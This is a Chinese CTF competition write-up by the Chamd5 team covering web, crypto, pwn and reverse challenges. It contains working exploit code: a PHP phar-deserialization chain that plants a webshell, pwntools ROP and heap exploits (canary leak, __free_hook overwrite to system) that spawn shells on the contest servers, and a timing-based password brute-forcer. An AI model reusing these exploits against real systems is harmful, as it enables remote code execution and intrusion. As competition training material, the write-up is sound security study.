美团CTF-WriteUp

百家 作者:Chamd5安全团队 2021-12-15 10:02:31

Web

UpStorage

xxe 读到源码

是个文件上传+phar 反序列化,用下面脚本生成 phar

<?php
$dbaddr?=?"127.0.0.1";
$dbuser?=?"root";
$dbpass?=?"root";
$dbname?=?"xx";
$db?=?new?mysqli($dbaddr,?$dbuser,?$dbpass,?$dbname);

abstract?class?Users?{
????public?$db;
????abstract?public?function?verify_user($username,?$password);
????abstract?public?function?check_user_exist($username);
????abstract?public?function?add_user($username,?$password);
????abstract?protected?function?eval();
????public?function?test()?{
????????$this->eval();
????}
}

class?User?extends?Users?{
????public?$db;
????private?$func;
????protected?$param;
????public?function?__construct($func,$param)?{
????????$this->func=$func;
????????$this->param=$param;
????}
????public?function?verify_user($username,?$password)?{
????????if?(!$this->check_user_exist($username))?{
????????????return?false;
????????}
????????$password?=?md5($password?.?"7a28b8eb92558ea2");
????????$stmt?=?$this->db->prepare("SELECT?`password`?FROM?`users`?WHERE?`username`?=??;");
????????$stmt->bind_param("s",?$username);
????????$stmt->execute();
????????$stmt->bind_result($expect);
????????$stmt->fetch();
????????if?(isset($expect)?&&?$expect?===?$password)?{
????????????return?true;
????????}
????????return?false;
????}
????public?function?check_user_exist($username)?{
????????$stmt?=?$this->db->prepare("SELECT?`username`?FROM?`users`?WHERE?`username`?=???LIMIT?1;");
????????$stmt->bind_param("s",?$username);
????????$stmt->execute();
????????$stmt->store_result();
????????$count?=?$stmt->num_rows;
????????if?($count?===?0)?{
????????????return?false;
????????}
????????return?true;
????}
????public?function?add_user($username,?$password)?{
????????if?($this->check_user_exist($username))?{
????????????return?false;
????????}
????????$password?=?md5($password?.?"7a28b8eb92558ea2");
????????$stmt?=?$this->db->prepare("INSERT?INTO?`users`?(`id`,?`username`,?`password`)?VALUES?(NULL,??,??);");
????????$stmt->bind_param("ss",?$username,?$password);
????????$stmt->execute();
????????return?true;
????}
????protected?function?eval()?{
????????if?(is_array($this->param))?{
????????????($this->func)($this->param);
????????}?else?{
????????????die("no!");
????????}
????}
}

class?Welcome{
????public?$file;
????public?$username;
????public?$password;
????public?$verify;
????public?$greeting;
}

class?File?{
????public?$filename;
????public?$fileext;
????public?$basename;
}

class?Logs?{
????public?$log;
????public?function?log()?{
????????$log?=?$_GET['log'];
????????if(preg_match("/rot13|base|toupper|encode|decode|convert|bzip2/i",?$log))?{
????????????die("hack!");
????????}
????????file_put_contents($log,'<?php?exit();'.$log);
????}
}
$func?=?"call_user_func";
$param?=?array("Logs","log");
$a?=new?Welcome();
$b?=?new?Welcome();
$c?=?new?File();
$d=?new?User($func,$param);
$c->filename=$d;
$a->verify=$c;
$a->username="/etc/passwd";
$b->username=$a;
@unlink("1.png");
$phar?=?new?Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php?__HALT_COMPILER();??>");
$phar->setMetadata($b);?
$phar->addFromString("test.txt",?"test");?
$phar->stopBuffering();
rename("phar.phar","1.png");

读 session 拿到$_SERVER['REMOTE_ADDR'],计算上传文件目录

然后直接使用 phar 触发反序列化,同时往 upload 目录写 shell

Crypto

Romeo's Encrypting Machine

逐字节爆破

from?pwn?import?*
import?time

import?string

table?=??string.lowercase?+?string.uppercase?+?string.digits
table?=?string.printable
sh?=?remote("123.57.132.168",?14584)
context.log_level?=?'debug'
pswd=""
table='''0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'''
table='
''89abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'''



for?j?in?range(0,len(table),8):
?tablee?=?table[j:j+8]
?sh?=?remote("
123.57.132.168",?14584)
?for?i?in?tablee:
??temp?=?b"
#G.5~1s"?+?i?+?"aa"
??sh.recvuntil("[~]Please?input?your?password:\n")
??s?=?time.time()
??sh.sendline(temp)
??res?=?sh.recvuntil("False!\n")
??spend?=?time.time()?-?s
??print(spend)
??if?15?>?spend?>?12:
???pswd?=?temp
???print(pswd)
???exit()
??else:
???pass
?sh.close()

密码:#G.5~1ss

hamburgerRSA

https://blog.cryptohack.org/cryptoctf2021-easy#hamul

from?Crypto.Util.number?import?*
from?tqdm?import?tqdm
def?decrypt_RSA(c,?e,?p,?q):
????phi?=?(p-1)?*?(q-1)
????d?=?inverse(e,?phi)
????m?=?pow(c,?d,?p*q)
????print(long_to_bytes(m))
n?=?98027132963374134222724984677805364225505454302688777506193468362969111927940238887522916586024601699661401871147674624868439577416387122924526713690754043
c?=?42066148309824022259115963832631631482979698275547113127526245628391950322648581438233116362337008919903556068981108710136599590349195987128718867420453399
low?=?str(n)[-18:]
high?=?str(n)[:18]
pq_prob?=?[]
for?i?in?range(10):
????for?j?in?range(10):
????????for?k?in?range(10):
????????????pq_prob.append(int(high?+?str(i)?+?str(j)?+?str(k)?+?low))
????????
for?x?in?tqdm(pq_prob):
????f?=?factor(x)
????if?(len(f)?==?2?and?f[0][0].nbits()?==?64):
????????p,?q?=?f[0][0],?f[1][0]
????????break
P?=?int(str(p)?+?str(p))
Q?=?int(str(q)?+?str(q))
PP?=?int(str(P)?+?str(Q))
QQ?=?int(str(Q)?+?str(P))
N?=?PP?*?QQ
print(N?==?n)
decrypt_RSA(c,?65537,?PP,?QQ)

Symbol

LaTex 语法,取第一个值,CryptoCTF 签到题

Pwn

babyrop

#coding:utf-8
from?pwn?import?*

context.log_level='debug'
elfelf='./babyrop'
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
?'
''

if?len(sys.argv)==1?:
?io=process(elfelf)
?gdb_open=1
?libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
?#?ld?=?ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
?one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

elif?sys.argv[1]=='2'?:
?io=process(elfelf)
?gdb_open=0
?libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
?#?ld?=?ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
?one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

else?:
?io=remote('47.93.163.42',12711)
?gdb_open=0
?libc=ELF('./libc-2.27.so')
?#?ld?=?ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
?one_gadgaet=[0x45226,0x4f432,0x10a41c]

def?gdb_attach(io,a):
?if?gdb_open==1?:
??gdb.attach(io,a)

io.recv()
io.send('a'*25)
io.recvuntil('a'*25)
canary='\x00'+io.recv(7)
io.recv()
io.sendline(str(0x4009AE))

leave=0x400759

pay='a'*0x18+canary+p64(0x601c00)+p64(0x40072E)

io.send(pay)

pay=p64(0x400913)+p64(elf.got['puts'])+p64(elf.plt['puts'])+canary+p64(0x601c00+0x28)+p64(0x40072E)

io.send(pay)

pay=p64(0x400913)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717)

io.send(pay)

libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['puts']
libc.address=libc_base
bin_sh_addr=libc.search('/bin/sh\x00').next()
system_addr=libc.sym['system']
free_hook_addr=libc.sym['__free_hook']

pay=p64(0x400913)+p64(elf.got['puts'])+p64(elf.plt['puts'])+canary+p64(0x601c00+0x28)+p64(libc_base+one_gadgaet[2])

io.send(pay)

success('libc_base:'+hex(libc_base))
#?success('heap_base:'+hex(heap_base))
gdb_attach(io,gdb_text)

io.interactive()

Blindbox

#coding:utf-8
import?sys
from?pwn?import?*
from?ctypes?import?CDLL
context.log_level='debug'
elfelf='./Blindbox'
#context.arch='amd64'
while?True?:
?#?try?:
??elf=ELF(elfelf)
??context.arch=elf.arch

??gdb_text='''
???telescope?$rebase(0x202040)?16
???'
''

??if?len(sys.argv)==1?:
???clibc=CDLL('/lib/x86_64-linux-gnu/libc-2.31.so')
???io=process(elfelf)
???gdb_open=1
???#?io=process(['./'],env={'LD_PRELOAD':'./'})
???clibc.srand(0)
???libc=ELF('./libc-2.31.so')
???#?ld?=?ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
???one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

??else?:
???clibc=CDLL('/lib/x86_64-linux-gnu/libc-2.31.so')
???io=remote('123.57.132.168',45442)
???gdb_open=0
???clibc.srand((0))
???libc=ELF('./libc-2.31.so')
???#?ld?=?ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
???one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

??def?gdb_attach(io,a):
???if?gdb_open==1?:
????gdb.attach(io,a)

??io.recv()
??io.send('aaaa')
??io.recv()
??io.sendline(str(0x88))
??io.recv()
??io.sendline(str(0xf8))
??io.recv()
??io.sendline(str(0x218))

??def?choice(a):
???io.sendlineafter('>>?',str(a))

??def?add(a,b):
???choice(1)
???io.sendlineafter('choose\n',str(a))
???io.sendlineafter(':?\n',str(b))
?
??def?edit(a,b):
???choice(4)
???io.sendlineafter('?\n',str(a))
???io.sendafter('content:\n',b)

??def?show(a):
???choice(3)
???io.sendlineafter('?\n',str(a))

??def?delete(a):
???choice(2)
???io.sendlineafter('?\n',str(a))

??add(1,1)
??for?i?in?range(7):
???add(3,3)
???delete(3)
??
??add(3,3)
??add(3,2)
??delete(3)
??show(3)

??data=io.recvuntil('--------',drop=True)

??if?"you?can't?open?it"?in?data:
???io.close()
???continue
?
??libc_base=u64(data[-8:])-libc.sym['__malloc_hook']-96-0x10
??libc.address=libc_base
??bin_sh_addr=libc.search('/bin/sh\x00').next()
??system_addr=libc.sym['system']
??free_hook_addr=libc.sym['__free_hook']

??io.sendline('6')

??for?i?in?range(8):
???io.sendlineafter('Please?guess>',str(system_addr^int(clibc.rand())))


??io.sendlineafter('Congratulations!!!\n','cat?flag')
??
??
??success('libc_base:'+hex(libc_base))
??#?success('heap_base:'+hex(heap_base))

??#?gdb_attach(io,gdb_text)
??io.interactive()

?#?except?Exception?as?e:
?#??io.close()
?#??continue
?#?else:
?#??continue

bookshop

#coding:utf-8
import?sys
from?pwn?import?*
from?ctypes?import?CDLL
context.log_level='debug'
elfelf='./bookshop'
#context.arch='amd64'
while?True?:
?#?try?:
??elf=ELF(elfelf)
??context.arch=elf.arch

??gdb_text='''
???telescope?$rebase(0x202040)?16
???'
''

??if?len(sys.argv)==1?:
???clibc=CDLL('/lib/x86_64-linux-gnu/libc-2.31.so')
???io=process(elfelf)
???gdb_open=1
???#?io=process(['./'],env={'LD_PRELOAD':'./'})
???clibc.srand(clibc.time(0))
???libc=ELF('./libc-2.31.so')
???#?ld?=?ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
???one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

??else?:
???#?clibc=CDLL('/lib/x86_64-linux-gnu/libc-2.31.so')
???io=remote('123.57.132.168',15875)
???gdb_open=0
???#?clibc.srand(clibc.time(0))
???libc=ELF('./libc-2.31.so')
???#?ld?=?ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
???one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

??def?gdb_attach(io,a):
???if?gdb_open==1?:
????gdb.attach(io,a)
??

??def?choice(a):
???io.sendlineafter('>>?',str(a))

??def?add(b):
???choice(1)
???io.sendlineafter('>?',b)
?
??def?show(a):
???choice(3)
???io.sendlineafter('?\n',str(a))

??def?delete(a):
???choice(2)
???io.sendlineafter('?\n',str(a))


??io.recv()
??io.sendline(str(0x68))

??for?i?in?range(0x9):
???add(p64(0x71)*12)

??for?i?in?range(0x7):
???delete(0x8-i)

??show(0x3)
??io.recvuntil('Content:?')
??heap_base=u64(io.recv(6)+'\x00\x00')
??
??delete(0)
??io.sendline('1'*0x500)
??show(0)
?
??libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['__malloc_hook']-96-0x10-0x60
??libc.address=libc_base
??bin_sh_addr=libc.search('/bin/sh\x00').next()
??system_addr=libc.sym['system']
??free_hook_addr=libc.sym['__free_hook']

??delete(0)
??delete(1)
??delete(0)

??for?i?in?range(0x7):
???add(p64(0x71)*12)

??add(p64(free_hook_addr))
??add('/bin/sh\x00')
??add('/bin/sh\x00')
??add(p64(system_addr))

??delete(18)

??success('libc_base:'+hex(libc_base))
??success('heap_base:'+hex(heap_base))

??gdb_attach(io,gdb_text)
??io.interactive()

?#?except?Exception?as?e:
?#??io.close()
?#??continue
?#?else:
?#??continue

Reverse

Random

种子固定,动调拿寄存器 AL 的值异或

str=[0x3E,?0xCD,?0xAA,?0x8E,?0x96,?0x1F,?0x89,?0xCD,?0xDB,?0xF1,
??0x70,?0xF2,?0xA9,?0x9C,?0xC2,?0x8B,?0xF2,?0xFE,?0xAD,?0x8B,
??0x58,?0x7C,?0x2F,?0x03,?0x4A,?0x65,?0x31,?0x89,?0x76,?0x57,
??0x88,?0xDF,?0xB8,?0xE9,?0x01,?0xE9,?0xDE,?0xE5,?0x86,?0x68,
??0x8F,?0x24,?0xD3,?0x5A]
key=[0x58,0xA1,0xCB,0xE9,0xED,0x2C,0xEC,0xFB,0xE9,0xC4,0x16,0x97,0x99,0xB1,0xA4,0xE9,0xC3,0xC6,0x80,0xBF,0x3E,0x44,0x18,0x2E,
0x73,0x52,0x56,0xB8,0x5B,0x66,0xED,0xBC,0x8A,0xD8,0x36,0x8F,0xE6,0xD3,0xB1,0x51,0xB9,0x59,0xD3,0x5A]
flag=''

for?i?in?range(len(key)):
????flag+=chr(str[i]^key[i])
print(flag)
#0x58,0xA1,0xCB,0xE9,0XED,0X2C,0xEC,0xFB,0xE9,0xC4,0x16,0x97,0x99,0xB1,0xA4,0xE9,0xC3,0xC6,0x80,0xBF,0x3E,0x44,0x18,0x2E
#0x73,0x56,0xB8,0x5B,0x66,0xED,0xBC,0x8A,0xD8,0x3,0x8F,0xE6,0xD3,0xB1,0x51,0xB9,0x59,0xD3,0x5A

wow

esp 定律法到达 OEP https://ctf-wiki.org/reverse/windows/unpack/esp/

输入后判断长度为 36,然后有

UPX0:00512159?????????????????lea?????ecx,?[ebp+var_28]
UPX0:0051215C?????????????????call????sub_512420
UPX0:00512161?????????????????mov?????[ebp+var_44],?eax
UPX0:00512164?????????????????sub?????esp,?20h
UPX0:00512167?????????????????mov?????ecx,?[ebp+var_44]
UPX0:0051216A?????????????????push????33h?;?'3'
UPX0:0051216C?????????????????call????$+5
UPX0:00512171?????????????????add?????[esp+84h+var_84],?5
UPX0:00512175?????????????????retf

这里切换了 32 位和 64 位模式,capstone 反编译 64 位的代码

with?open('wow1.exe','rb')?as?f:
???d=f.read()
???code=d[5494:5494+0x2351-0x2176]?#?用d.find找到目标代码位置
import?capstone?as?ct
md=ct.Cs(ct.CS_ARCH_X86,ct.CS_MODE_64)
for?i?in?md.disasm(code,0x402176):
???print('0x%x:\t%s\t%s'%(i.address,i.mnemonic,i.op_str))

又到了读汇编时间

0x402176:???????mov?????qword?ptr?[rsp?+?8],?rbx
0x40217b:???????mov?????qword?ptr?[rsp?+?0x10],?rbp
0x402180:???????mov?????qword?ptr?[rsp?+?0x18],?rsi
0x402185:???????mov?????qword?ptr?[rsp?+?0x20],?rdi
0x40218a:???????push????r14
0x40218c:???????push????r15
0x40218e:???????mov?????r9d,?dword?ptr?[rcx?+?0x20]
0x402192:???????mov?????r14,?rcx
0x402195:???????mov?????ebp,?0xc
0x40219a:???????xor?????esi,?esi
0x40219c:???????nop?????word?ptr?[rax?+?rax]
0x4021a6:???????add?????esi,?0x67452301
0x4021ac:???????lea?????rdi,?[r14?+?4]
0x4021b0:???????mov?????ebx,?esi
0x4021b2:???????mov?????r10,?r14
0x4021b5:???????shr?????ebx,?2
0x4021b8:???????xor?????r11d,?r11d
0x4021bb:???????nop?????word?ptr?[rax?+?rax]
0x4021c6:???????mov?????r8d,?dword?ptr?[rdi]
0x4021c9:???????mov?????eax,?ebx
0x4021cb:???????xor?????eax,?r11d
0x4021ce:???????and?????eax,?3
0x4021d1:???????je??????0x40223a
0x4021d3:???????sub?????eax,?1
0x4021d6:???????je??????0x40221e
0x4021d8:???????sub?????eax,?1
0x4021db:???????je??????0x402202
0x4021dd:???????cmp?????eax,?1
0x4021e0:???????jne?????0x402270
0x4021e6:???????mov?????eax,?r9d
0x4021e9:???????lea?????edx,?[r8*4]
0x4021f1:???????shr?????eax,?5
0x4021f4:???????xor?????edx,?eax
0x4021f6:???????mov?????eax,?r9d
0x4021f9:???????xor?????r9d,?0xc3d2e1f0
0x402200:???????jmp?????0x402254
0x402202:???????mov?????eax,?r9d
0x402205:???????lea?????edx,?[r8*4]
0x40220d:???????shr?????eax,?5
0x402210:???????xor?????edx,?eax
0x402212:???????mov?????eax,?r9d
0x402215:???????xor?????r9d,?0x98badcfe
0x40221c:???????jmp?????0x402254
0x40221e:???????mov?????eax,?r9d
0x402221:???????lea?????edx,?[r8*4]
0x402229:???????shr?????eax,?5
0x40222c:???????xor?????edx,?eax
0x40222e:???????mov?????eax,?r9d
0x402231:???????xor?????r9d,?0x10325476
0x402238:???????jmp?????0x402254
0x40223a:???????mov?????eax,?r9d
0x40223d:???????lea?????edx,?[r8*4]
0x402245:???????shr?????eax,?5
0x402248:???????xor?????edx,?eax
0x40224a:???????mov?????eax,?r9d
0x40224d:???????xor?????r9d,?0xefcdab89
0x402254:???????mov?????ecx,?r8d
0x402257:???????shl?????eax,?4
0x40225a:???????shr?????ecx,?3
0x40225d:???????xor?????r8d,?esi
0x402260:???????add?????r8d,?r9d
0x402263:???????xor?????ecx,?eax
0x402265:???????add?????edx,?ecx
0x402267:???????xor?????edx,?r8d
0x40226a:???????add?????dword?ptr?[r10],?edx
0x40226d:???????mov?????r9d,?dword?ptr?[r10]
0x402270:???????inc?????r11d
0x402273:???????add?????rdi,?4
0x402277:???????add?????r10,?4
0x40227b:???????cmp?????r11d,?8
0x40227f:???????jb??????0x4021c6
0x402285:???????mov?????r8d,?dword?ptr?[r14]
0x402288:???????xor?????ebx,?r11d
0x40228b:???????and?????ebx,?3
0x40228e:???????je??????0x4022f7
0x402290:???????sub?????ebx,?1
0x402293:???????je??????0x4022db
0x402295:???????sub?????ebx,?1
0x402298:???????je??????0x4022bf
0x40229a:???????cmp?????ebx,?1
0x40229d:???????jne?????0x40232f
0x4022a3:???????mov?????eax,?r9d
0x4022a6:???????lea?????edx,?[r8*4]
0x4022ae:???????shr?????eax,?5
0x4022b1:???????xor?????edx,?eax
0x4022b3:???????mov?????eax,?r9d
0x4022b6:???????xor?????r9d,?0xc3d2e1f0
0x4022bd:???????jmp?????0x402311
0x4022bf:???????mov?????eax,?r9d
0x4022c2:???????lea?????edx,?[r8*4]
0x4022ca:???????shr?????eax,?5
0x4022cd:???????xor?????edx,?eax
0x4022cf:???????mov?????eax,?r9d
0x4022d2:???????xor?????r9d,?0x98badcfe
0x4022d9:???????jmp?????0x402311
0x4022db:???????mov?????eax,?r9d
0x4022de:???????lea?????edx,?[r8*4]
0x4022e6:???????shr?????eax,?5
0x4022e9:???????xor?????edx,?eax
0x4022eb:???????mov?????eax,?r9d
0x4022ee:???????xor?????r9d,?0x10325476
0x4022f5:???????jmp?????0x402311
0x4022f7:???????mov?????eax,?r9d
0x4022fa:???????lea?????edx,?[r8*4]
0x402302:???????shr?????eax,?5
0x402305:???????xor?????edx,?eax
0x402307:???????mov?????eax,?r9d
0x40230a:???????xor?????r9d,?0xefcdab89
0x402311:???????mov?????ecx,?r8d
0x402314:???????shl?????eax,?4
0x402317:???????shr?????ecx,?3
0x40231a:???????xor?????r8d,?esi
0x40231d:???????add?????r8d,?r9d
0x402320:???????xor?????ecx,?eax
0x402322:???????add?????edx,?ecx
0x402324:???????xor?????edx,?r8d
0x402327:???????add?????dword?ptr?[r14?+?0x20],?edx
0x40232b:???????mov?????r9d,?dword?ptr?[r14?+?0x20]
0x40232f:???????add?????ebp,?-1
0x402332:???????jne?????0x4021a6
0x402338:???????mov?????rbx,?qword?ptr?[rsp?+?0x18]
0x40233d:???????mov?????rbp,?qword?ptr?[rsp?+?0x20]
0x402342:???????mov?????rsi,?qword?ptr?[rsp?+?0x28]
0x402347:???????mov?????rdi,?qword?ptr?[rsp?+?0x30]
0x40234c:???????pop?????r15
0x40234e:???????pop?????r14

稍加修改,用 gcc 汇编一下,再放进 IDA 反编译

int?__cdecl?main(int?argc,?const?char?**argv,?const?char?**envp)
{
?unsigned?int?*v3;?//?rcx
?unsigned?int?v4;?//?er9
?int?v5;?//?ebp
?unsigned?int?v6;?//?esi
?unsigned?int?*v7;?//?rdi
?unsigned?int?*v8;?//?r10
?unsigned?int?v9;?//?ebx
?unsigned?int?j;?//?er11
?unsigned?int?v11;?//?er8
?int?result;?//?eax
?int?v13;?//?edx
?unsigned?int?v14;?//?eax
?unsigned?int?v15;?//?er9
?unsigned?int?v16;?//?er8
?int?v17;?//?ebx
?int?v18;?//?ebx
?int?v19;?//?ebx
?int?v20;?//?edx
?unsigned?int?v21;?//?eax
?unsigned?int?v22;?//?er9
?int?i;?//?[rsp+Ch]?[rbp-4h]
?__int64?*vars0;?//?[rsp+10h]?[rbp+0h]?BYREF
?vars0?=?(__int64?*)&vars0;
?v4?=?v3[8];
?v5?=?12;
?v6?=?0;
?do
?{
???v6?+=?1732584193;
???v7?=?v3?+?1;
???v8?=?v3;
???v9?=?v6?>>?2;
???for?(?j?=?0;?j?<?8;?++j?)
???{
?????v11?=?*v7;
?????if?(?(((unsigned?__int8)j?^?(unsigned?__int8)v9)?&?3)?!=?0?)
?????{
???????if?(?(((unsigned?__int8)j?^?(unsigned?__int8)v9)?&?3)?==?1?)
???????{
?????????v13?=?(v4?>>?5)?^?(4?*?v11);
?????????v14?=?v4;
?????????v15?=?v4?^?0x10325476;
???????}
???????else
???????{
?????????result?=?(((unsigned?__int8)j?^?(unsigned?__int8)v9)?&?3)?-?2;
?????????if?(?(((unsigned?__int8)j?^?(unsigned?__int8)v9)?&?3)?==?2?)
?????????{
???????????v13?=?(v4?>>?5)?^?(4?*?v11);
???????????v14?=?v4;
???????????v15?=?v4?^?0x98BADCFE;
?????????}
?????????else
?????????{
???????????if?(?(((unsigned?__int8)j?^?(unsigned?__int8)v9)?&?3)?!=?3?)
?????????????goto?_lab_0x402270;
???????????v13?=?(v4?>>?5)?^?(4?*?v11);
???????????v14?=?v4;
???????????v15?=?v4?^?0xC3D2E1F0;
?????????}
???????}
?????}
?????else
?????{
???????v13?=?(v4?>>?5)?^?(4?*?v11);
???????v14?=?v4;
???????v15?=?v4?^?0xEFCDAB89;
?????}
?????result?=?16?*?v14;
?????*v8?+=?(v15?+?(v6?^?v11))?^?((result?^?(v11?>>?3))?+?v13);
?????v4?=?*v8;
_lab_0x402270:
?????++v7;
?????++v8;
???}
???v16?=?*v3;
???v17?=?((unsigned?__int8)j?^?(unsigned?__int8)v9)?&?3;
???if?(?!v17?)
???{
?????v20?=?(v4?>>?5)?^?(4?*?v16);
?????v21?=?v4;
?????v22?=?v4?^?0xEFCDAB89;
?????goto?_lab_0x402311;
???}
???v18?=?v17?-?1;
???if?(?!v18?)
???{
?????v20?=?(v4?>>?5)?^?(4?*?v16);
?????v21?=?v4;
?????v22?=?v4?^?0x10325476;
?????goto?_lab_0x402311;
???}
???v19?=?v18?-?1;
???if?(?!v19?)
???{
?????v20?=?(v4?>>?5)?^?(4?*?v16);
?????v21?=?v4;
?????v22?=?v4?^?0x98BADCFE;
_lab_0x402311:
?????result?=?16?*?v21;
?????v3[8]?+=?(v22?+?(v6?^?v16))?^?((result?^?(v16?>>?3))?+?v20);
?????v4?=?v3[8];
?????goto?_lab_0x40232f;
???}
???if?(?v19?==?1?)
???{
?????v20?=?(v4?>>?5)?^?(4?*?v16);
?????v21?=?v4;
?????v22?=?v4?^?0xC3D2E1F0;
?????goto?_lab_0x402311;
???}
_lab_0x40232f:
???--v5;
?}
?while?(?v5?);
?return?result;
}

每一个 int32 的加密和它的前一个和后一个数字有关

#include?<stdio.h>
#include?<stdlib.h>
#include?<inttypes.h>
#include?<string.h>
//?#include?"defs.h"
#include?<stdint.h>

void?decrypt(uint32_t?*inp)
{
??uint32_t?v6?=?0x67452301?*?12,?v9,?v20,?v21,?v22,?inp8,?*inp0,?*inp1,?v13,?v14,?v15;
??uint32_t?cnt?=?12;
??inp8?=?inp[8];
??do
??{
????v9?=?v6?>>?2;
????int32_t?j?=?8;
????inp8?=?inp[7];
????v20?=?(inp8?>>?5)?^?(4?*?inp[0]);
????v21?=?inp8;
????switch?((j?^?v9)?&?3)
????{
????case?0:
??????v22?=?inp8?^?0xEFCDAB89;
??????break;
????case?1:
??????v22?=?inp8?^?0x10325476;
??????break;
????case?2:
??????v22?=?inp8?^?0x98BADCFE;
??????break;
????case?3:
??????v22?=?inp8?^?0xC3D2E1F0;
??????break;
????}
????inp[8]?-=?(v22?+?(v6?^?inp[0]))?^?((16?*?v21?^?(inp[0]?>>?3))?+?v20);
????inp0?=?inp?+?7;
????inp1?=?inp?+?8;
????inp8=inp[6];
????for?(j?=?7;?j?>=?0;?j--)
????{
??????v13?=?(inp8?>>?5)?^?(4?*?*inp1);
??????v14?=?inp8;
??????switch?((j?^?v9)?&?3)
??????{
??????case?0:
????????v15?=?inp8?^?0xEFCDAB89;
????????break;
??????case?1:
????????v15?=?inp8?^?0x10325476;
????????break;
??????case?2:
????????v15?=?inp8?^?0x98BADCFE;
????????break;
??????case?3:
????????v15?=?inp8?^?0xC3D2E1F0;
????????break;
??????}
??????*inp0?-=?(v15?+?(v6?^?*inp1))?^?((16?*?v14?^?(*inp1?>>?3))?+?v13);
??????--inp0;
??????
??????if(inp0==inp)inp8=inp[8];
??????else?inp8?=?*(inp0?-?1);
??????--inp1;
????}
????--cnt;
????v6?-=?0x67452301;
??}?while?(cnt);
}

int?main()
{
??uint8_t?target[]?=?{0xf5,?0x58,?0xf7,?0xd8,?0xdb,?0x49,?0x68,?0x52,?0x63,?0x25,?0xd7,?0xe2,?0xac,?0xef,?0x5e,?0x48,?0xc6,?0x4b,?0x8f,?0x60,?0x6a,?0xf7,?0x59,?0x58,?0xa3,?0x65,?0x35,?0xb0,?0xc1,?0x91,?0x40,?0x3e,?0x9a,?0x5b,?0xdb,?0xd3};
??printf("start...\n");
??decrypt((uint32_t?*)target);
??printf("ok\n");
??printf("%s\n",?target);
}

end


招新小广告

ChaMd5?Venom?招收大佬入圈

新成立组IOT+工控+样本分析+AI?长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接